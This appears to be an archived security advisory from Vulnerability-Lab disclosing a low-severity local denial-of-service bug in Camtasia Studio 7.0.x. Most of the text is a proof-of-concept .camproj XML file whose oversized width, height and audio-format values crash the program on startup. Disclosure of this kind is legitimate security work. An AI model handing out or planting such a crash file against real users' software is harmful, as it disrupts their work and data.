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Camtasia Studio v7.0.x - Denial of Service Vulnerability
🗓️ 19 Jun 2011 00:00:00Reported by Vulnerability Research Laboratory - N/A AnonymousType 
vulnerlab🔗 www.vulnerability-lab.com👁 34 Views
Document Title:
===============
Camtasia Studio v7.0.x - Denial of Service Vulnerability
Release Date:
=============
2011-06-19
Vulnerability Laboratory ID (VL-ID):
====================================
158
Product & Service Introduction:
===============================
Camtasia Studio ist ein professioneller Desktop-Camcorder, mit dem Sie Ihren Bildschirm abfilmen können.
Die aufgenommenen Videos lassen sich im Flashformat (SWF und FLV), Silverlight, QuickTime (MOV), RM, animiertes GIF,
AVI oder iPod-video-Format speichern oder gleich in eine ausführbare EXE umwandeln. Camtasia Studio bietet besondere Effekte
für Mausklicks oder Tastatureingaben und kann Cursor-Bewegungen automatisch verfolgen oder in das Bild hinein zoomen.
Dank der ebenfalls integrierten Bearbeitungs-Funktionen können die erstellten Filme auch gleich geschnitten, editiert oder
exportiert werden. Auf Wunsch lassen sich die Videos oder die daraus erzeugten Einzelbilder sogar vertonen oder mit einem
Untertitel versehen. In der Version 6.0 können Sie Videos in HD-Qualität erstellen und eine 3D-Perspektive verleihen. Alle Änderungen
und Neuerungen finden Sie in den offiziellen Release-Notes auf der Homepage des Herstellers.
(Copy of the Vendor Homepage: http://www.techsmith.de/)
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a Denial of Service vulnerability on Camtasia Studio v7.0.x
Vulnerability Disclosure Timeline:
==================================
2011-06-20: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Local
Severity Level:
===============
Low
Technical Details & Description:
================================
A run-time error is detected on the ProjectWidth & ProjectHeight of the generated .camproj files. The bug allows to crash the
camtasia service with a unhandled access violation. When the file is saved on the drag&drop catch of camtasia the error is stable on startup.
Execution of code is not possible.
Vulnerable Section:
[+] ProjectWidth & ProjectHeight
Pictures:
../crash.png
../reproduce.png
../rt-corruption.png
../corruption2.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with user privileges. For demonstration or reproduce ...
<?xml version="1.0"?>
<Project_Data Version="7.00">
<Project_Settings>
<ProfileName>Benutzerdefiniert</ProfileName>
<ProjectWidth>9999</ProjectWidth>
<ProjectHeight>9999</ProjectHeight>
<IsCustomProject>1</IsCustomProject>
<SavedProjectSettings>0</SavedProjectSettings>
<LastFlashTemplate>-1</LastFlashTemplate>
</Project_Settings>
<UI_Layout>
<Video>1</Video>
<AudioOne>1</AudioOne>
<AudioTwo>0</AudioTwo>
<Zoom>0</Zoom>
<CursorKeyframe>0</CursorKeyframe>
<Callout>0</Callout>
<PIP>0</PIP>
<PIPAudio>0</PIPAudio>
<Questions>0</Questions>
<Caption>0</Caption>
<AudioThree>0</AudioThree>
<VideoSelected>1</VideoSelected>
<VideoAudioSelected>0</VideoAudioSelected>
<AudioTwoSelected>1</AudioTwoSelected>
<PIPSelected>1</PIPSelected>
<PIPAudioSelected>0</PIPAudioSelected>
<CaptionSelected>1</CaptionSelected>
<AudioThreeSelected>1</AudioThreeSelected>
<Video1AndAudio1Linked>1</Video1AndAudio1Linked>
<PIPVideoAndAudioLinked>1</PIPVideoAndAudioLinked>
<Bookmarks>1</Bookmarks>
</UI_Layout>
<AutoSaveFile>C:\Users\Rem0ve\AppData\Local\TechSmith\Camtasia Studio\7.0\Auto-Saves\PoC5caec6e.autosave.camproj</AutoSaveFile>
<PowerPointProject>0</PowerPointProject>
<PowerPointFilename></PowerPointFilename>
<DockPIP>0</DockPIP>
<ZoomPanHints>1</ZoomPanHints>
<ClipBin_Array>
<ClipBin_Object>
<ClipName>1.TSCTitle7</ClipName>
</ClipBin_Object>
</ClipBin_Array>
<DShowControl_ClipMap>
<DShowControl_ClipMap_Object>
<FileName>2.TSCTitle7</FileName>
<PPTFile></PPTFile>
<FromPPT>0</FromPPT>
<Track>0</Track>
<Flags>4</Flags>
<Start>0</Start>
<End>50000000</End>
<ClipHasAudio>0</ClipHasAudio>
<BitsPerPixel>32</BitsPerPixel>
<Width>9999</Width>
<Height>9999</Height>
<FileLength>0</FileLength>
<MarkIn>0</MarkIn>
<MarkOut>0</MarkOut>
<MediaStart>0</MediaStart>
<MediaEnd>0</MediaEnd>
<FrameRate>10.000000</FrameRate>
<ClipSpeed>1.000000</ClipSpeed>
<WFSize>65535</WFSize>
<WFAvgBytesPerSec>-1</WFAvgBytesPerSec>
<WFBlockAlign>65535</WFBlockAlign>
<WFChannels>65535</WFChannels>
<WFSamplesPerSec>-1</WFSamplesPerSec>
<WFBitsPerSample>65535</WFBitsPerSample>
<WFFormatTag>65535</WFFormatTag>
<ClipMapIndex>0</ClipMapIndex>
<ClipTitle> </ClipTitle>
<PowerPointSlide>0</PowerPointSlide>
<SplitMinStart>0</SplitMinStart>
<SplitMinEnd>0</SplitMinEnd>
<Extra>0</Extra>
<BuddyID>-1</BuddyID>
</DShowControl_ClipMap_Object>
</DShowControl_ClipMap>
<PIP_Array>
</PIP_Array>
<Zoom_Array>
</Zoom_Array>
<CursorKeyframe_Array>
<Default_Effects>
<CursorSize>
<Size>1.00</Size>
</CursorSize>
<Highlight>
<Type>0</Type>
<Size>45.00</Size>
<Feather>5.00</Feather>
<Color>0x00FFFF00</Color>
<Opacity>1.00</Opacity>
<BlurRadius>0.00</BlurRadius>
<Magnification>2.00</Magnification>
</Highlight>
<Click>
<Effects>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFF0000FF</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
<Effects_Object>
<Main>
<Type>0</Type>
<Color>0xFFFF0000</Color>
<Size>20.00</Size>
<Duration>0.80</Duration>
</Main>
<Sound>
<Filename></Filename>
<Volume>1.00</Volume>
</Sound>
</Effects_Object>
</Effects>
</Click>
<CursorVisibility>
<IsVisible>1</IsVisible>
</CursorVisibility>
</Default_Effects>
</CursorKeyframe_Array>
<Overlay_Array>
</Overlay_Array>
<Bookmark_Array>
<Bookmark_Array_Object>
<Start>0</Start>
<UniqueID>0x000003E9</UniqueID>
<Text> </Text>
<UseAsMarker>1</UseAsMarker>
<IndentLevel>0</IndentLevel>
<ClipID>0</ClipID>
<Image_Object>
<ImagePath></ImagePath>
</Image_Object>
</Bookmark_Array_Object>
</Bookmark_Array>
<QuestionGroup_Array>
</QuestionGroup_Array>
<DShowControl_Edit_Array>
</DShowControl_Edit_Array>
<Title_Array>
<Title_Array_Object>
<ID>1</ID>
<TitleName> </TitleName>
<BGImage></BGImage>
<BGColor>0x00000000</BGColor>
<BGType>2</BGType>
<AddTextDropShadow>1</AddTextDropShadow>
<TextVJust>1</TextVJust>
<RichText>{\rtf1\ansi\ansicpg1252\deff0\deflang1031{\fonttbl{\f0\fnil\fcharset0 Arial;}}
{\colortbl ;\red255\green255\blue255;}
\viewkind4\uc1\pard\qc\cf1\fs36 \par
\par
\cf0\par
}
</RichText>
<TextRectDest_X>10.00</TextRectDest_X>
<TextRectDest_Y>10.00</TextRectDest_Y>
<TextRectDest_Width>9979.00</TextRectDest_Width>
<TextRectDest_Height>9979.00</TextRectDest_Height>
<CreateMarker>1</CreateMarker>
<AutoSizeClip>1</AutoSizeClip>
<TitleClipHeight>9999</TitleClipHeight>
<TitleClipWidth>9999</TitleClipWidth>
<Title_Image_Array>
</Title_Image_Array>
<StaticTitle>1</StaticTitle>
</Title_Array_Object>
<Title_Array_Object>
<ID>2</ID>
<TitleName> </TitleName>
<BGImage></BGImage>
<BGColor>0x00000000</BGColor>
<BGType>2</BGType>
<AddTextDropShadow>1</AddTextDropShadow>
<TextVJust>1</TextVJust>
<RichText>{\rtf1\ansi\ansicpg1252\deff0\deflang1031{\fonttbl{\f0\fnil\fcharset0 Arial;}}
{\colortbl ;\red255\green255\blue255;}
\viewkind4\uc1\pard\qc\cf1\fs36 \par
\par
\cf0\par
}
</RichText>
<TextRectDest_X>10.00</TextRectDest_X>
<TextRectDest_Y>10.00</TextRectDest_Y>
<TextRectDest_Width>9979.00</TextRectDest_Width>
<TextRectDest_Height>9979.00</TextRectDest_Height>
<CreateMarker>1</CreateMarker>
<AutoSizeClip>1</AutoSizeClip>
<TitleClipHeight>9999</TitleClipHeight>
<TitleClipWidth>9999</TitleClipWidth>
<Title_Image_Array>
</Title_Image_Array>
<StaticTitle>0</StaticTitle>
</Title_Array_Object>
</Title_Array>
<Caption_Array>
<MaxCaptionLength>32</MaxCaptionLength>
<AlwaysDisplay>0</AlwaysDisplay>
<OverlayCaptions>0</OverlayCaptions>
<ShowCaptions>1</ShowCaptions>
</Caption_Array>
<NoiseFilterInfo>
<AudioVocalEnhancement>0</AudioVocalEnhancement>
<AudioGlobalBypass>0</AudioGlobalBypass>
<AudioTraining>0</AudioTraining>
<AudioClippingReduction>0</AudioClippingReduction>
<AudioClickReduction>0</AudioClickReduction>
<AudioNoiseReduction>0</AudioNoiseReduction>
<AudioClickSensitivity>0.50</AudioClickSensitivity>
<AudioNoiseReduction>1.00</AudioNoiseReduction>
<AudioNoiseSensitivity>1.00</AudioNoiseSensitivity>
<AudioCompressionOn>0</AudioCompressionOn>
<AudioCompressionPreset>1</AudioCompressionPreset>
<AudioCurRatio>20.00</AudioCurRatio>
<AudioCurThreshold>-30.00</AudioCurThreshold>
<AudioCurGain>5.00</AudioCurGain>
<AudioCurAttack>1.00</AudioCurAttack>
<AudioCurRelease>200.00</AudioCurRelease>
<AudioCustRatio>20.00</AudioCustRatio>
<AudioCustThreshold>-30.00</AudioCustThreshold>
<AudioCustGain>5.00</AudioCustGain>
<AudioCustAttack>1.00</AudioCustAttack>
<AudioCustRelease>200.00</AudioCustRelease>
</NoiseFilterInfo>
<Project_Notes>
</Project_Notes>
<Project_MetaData>
<Project_MetaData_Object>
<FieldArrayKey>8</FieldArrayKey>
<Value>Unbenannt</Value>
</Project_MetaData_Object>
<Project_MetaData_Object>
<FieldArrayKey>13</FieldArrayKey>
<Value>28.01.2010 08:57:15 </Value>
</Project_MetaData_Object>
<Project_MetaData_Object>
<FieldArrayKey>16</FieldArrayKey>
<Value>DEU</Value>
</Project_MetaData_Object>
</Project_MetaData>
</Project_Data>
Security Risk:
==============
The security risk of the local denial of service vulnerability is estimated as low.
Credits & Authors:
==================
Vulnerability Research Laboratory - N/A Anonymous
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
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19 Jun 2011 00:00Current
7.1High risk
Vulners AI Score7.1